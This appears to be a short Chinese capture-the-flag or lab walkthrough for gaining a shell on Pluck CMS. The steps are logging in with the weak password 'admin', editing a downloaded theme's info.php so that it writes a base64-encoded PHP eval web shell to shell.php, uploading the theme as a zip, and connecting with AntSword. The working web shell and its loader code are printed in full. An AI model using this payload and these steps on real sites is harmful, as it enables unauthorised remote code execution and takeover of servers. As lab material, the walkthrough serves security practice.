​

开启环境

​

​

进入环境

​

​

使用弱口令admin登录

​

​

利用cms主题构造木马

​

需要将主题中的info.php文件修改，再打包成zip再上传，通过网络搜索找到Github中的Pluck CMS，进入后随便下载任一主题

https://github.com/search?q=Pluck+CMS&type=repositories

​

base64编码一句话木马

​

<?php @eval($_POST["cmd"]) ?>

​

修改info.php文件

​

<?php
file_put_contents('shell.php',base64_decode('PD9waHAgQGV2YWwoJF9QT1NUWyJjbWQiXSkgPz4='));
?>

保存

​

压缩为zip文件

​

​

上传zip文件

​

上传成功

​

蚁剑连接

​好小子，离成功又近一步！！！